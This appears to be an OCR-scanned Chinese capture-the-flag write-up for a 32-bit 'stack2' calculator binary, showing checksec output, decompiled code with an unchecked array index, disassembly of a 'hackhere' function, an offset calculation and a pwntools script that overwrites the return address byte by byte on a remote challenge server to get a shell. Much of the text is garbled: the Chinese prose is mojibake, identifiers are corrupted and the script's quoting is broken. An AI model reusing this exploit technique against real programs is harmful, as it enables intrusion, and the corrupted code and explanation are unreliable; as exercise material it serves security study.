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1. BAREIELFXCF, HATEEER — M HEAGEE:
tucker@ubuntu:~/pwn$ file stack2
stack2: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-,

tucker@ubuntu:~/pwn$ checksec stack2
[*] '/home/tucker/pwn/stack2"'

Arch: i386-32-1little
RELRO: Partial RELRO
Stack: Canary found

NX: NX enabled

PIE: No PIE (©x8048000)

2. FAVEHIDAE— T, mainef Kk

int _ cdecl main(int argc, const char **argv, const char **envp)
{
int v3; // eax
unsigned int v5; // [esp+18h] [ebp-96h]
unsigned int v6; // [esp+1Ch] [ebp-8Ch]
int v7; // [esp+20h] [ebp-88h]
unsigned int j; // [esp+24h] [ebp-84h]
int v9; // [esp+28h] [ebp-86h]
unsigned int i; // [esp+2Ch] [ebp-7Ch]
unsigned int k; // [esp+30h] [ebp-78h]
unsigned int 1; // [esp+34h] [ebp-74h]
char v13[100]; // [esp+38h] [ebp-706h]
unsigned int v14; // [esp+9Ch] [ebp-Ch]

vl4 = _ readgsdword(©x14u);
setvbuf(stdin, @, 2, 9);
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setLvouT(staout, v, <4, Y);
V9 = 0;
puts("***********************************************************");
puts("* An easy calc T
puts("*Give me your numbers and I will return to you an average *");
puts("*(@ <= x < 256) T
puts("***********************************************************");
puts("How many numbers you have:");
__is0c99_scanf("%d", &v5);
puts("Give me your numbers");
for (i =0; i< v5 & (signed int)i <= 99; ++i )
{
__iso0c99_scanf("%d", &v7);
v13[i] = v7;
}
for ( j = v5; ; printf("average is %.21f\n", (double)((long double)v9 / (double)j)) )
{
while ( 1)
{
while ( 1)
{
while ( 1)
{
puts("1l. show numbers\n2. add number\n3. change number\n4. get average\n5. exit");
__isoc99_scanf("%d", &v6);
if (ve !=2)
break;
puts("Give me your number");
__isoc99_scanf("%d", &v7);
if (j <=99)
{
V3 = j++;
v13[v3] = v7;

}
if (ve > 2)
break;
if (v6 1=1)
return 0;
puts("id\t\tnumber");
for (( k =0; k < j; ++k )
printf("%d\t\t%d\n", k, vi13[k]);
}
if (ve !=3)
break;
puts("which number to change:");
__1so0c99_scanf("%d", &v5);
puts("new number:");
__iso0c99_scanf("%d", &v7);
v13[v5] = v7;
}
if (ve l=4)
break;
V9 = 0;
for (1 =0; 1< j; ++1 )
v9 += v13[1];
}

return 0;
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tucker@ubuntu:~/pwn$ ./stack2
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o An easy calc 3
*Give me your numbers and I will return to you an average *
*(@ <= x < 256) 4
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How many numbers you have:

1

Give me your numbers

show numbers
add number
change number
get average
exit
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which number to change:
33
new number:

show numbers
add number
change number
get average
exit
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average is 2.00
show numbers
add number
change number
get average
exit
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3. [FAIRFEIDAT AL Hshift+f12, 7T LAE 24 —4"/bin/bash" 7778, FLATEEAKI T — >3-



.text:0804859B public hackhere

.text:0804859B hackhere proc near
.text:0804859B
.text:0804859B var_C = dword ptr -@Ch

.text:08048598B
.text:0804859B ; _ unwind {

.text:0804859B push ebp

.text:0804859C mov ebp, esp
.text:0804859E sub esp, 18h
.text:080485A1 mov eax, large gs:14h
.text:080485A7 mov [ebp+var_C], eax
.text:080485AA xor eax, eax
.text:080485AC sub esp, 0OCh
.text:080485AF push offset command ; "/bin/bash"
.text:080485B4 call _system
.text:080485B9 add esp, 10h
.text:080485BC nop

.text:080485BD mov edx, [ebp+var_C]
.text:080485C0 xor edx, large gs:14h
.text:080485C7 jz short locret_80485CE
.text:080485C9 call ___stack_chk_fail

CEDNUREEBASETR § —mom e e e e e
.text:080485CE

.text:080485CE locret_80485CE: ; CODE XREF: hackhere+2C?1j
.text:080485CE leave

.text:080485CF retn

.text:080485CF ; } // starts at 804859B

.text:080485CF hackhere endp

XA BRI AT — 2% 15 F):system("/bin/bash"), AL FRATT AT UAR 2 7E [ ff Ff change number [ 1) BEAZ LUk H 1)
Him, EHIRET P 2hackhere ki 4.

4. ESEBAIT EmIEBAVI3 Sripimistdl, (R Ibabvi3[17 B Hyebp-0x70,1H 2 eipH A & A AL
Ox70+0x41If: &, Ky canaryfifrey, HESNSRRIATHE. O H eI IFEmain R B IR T — Wi,
fEretnf 7 N — MR, BATRRER, BRI ebp yOXFFAE1358, 1217 Fretn, ARTIHIALEN:
OXFFAE136C, Hith1gHIv131Hihil’h: OxFFAE1358-0x70 = Oxffae12e8, fiif% & HOXFFAE136C - Oxffae12e8
= 0x84.

5. [EIRH AL FHp R, RIIFAGEIEHIERIshell, JRKE Z74/bin/bashig &, HT MR IFEE K R
K, FRATT 7S ZAE FH /bin/sh, AT ] DLk F i i) Jpvk mik vh S N bin/sh =5 8, (E 2 R B AR I HuhE B &42%,
HESE,

R FR AT AT CA A JE 2 777 /bin.bash /9 757 1~ F 15 7F 4 HI A hF,  (E 4system i =4, Fisystem ek #0591 1
% 7 reip.

HI L BATTHT LAZ & exp:




# stack2_1.py
from pwn import *

# a = process('./stack2")
a = remote("111.198.29.45", "56058")

system_addr = 0x8048450

H*

off_addr = @x9c
a.send('1\n1\n3\n156\n80\n3\n157\n132\n3\n158\n4\n3\n159\n8\n5\n")

H*

# a.interactive()

a.sendline('1\n5\n3\n132\n80\n3\n133\n132\n3\n134\n4\n3\n135\n8")

a.sendline('3\n140\n135\n3\n141\n137\n3\n142\n4\n3\n143\n8")

a.sendline('5")

a.interactive()
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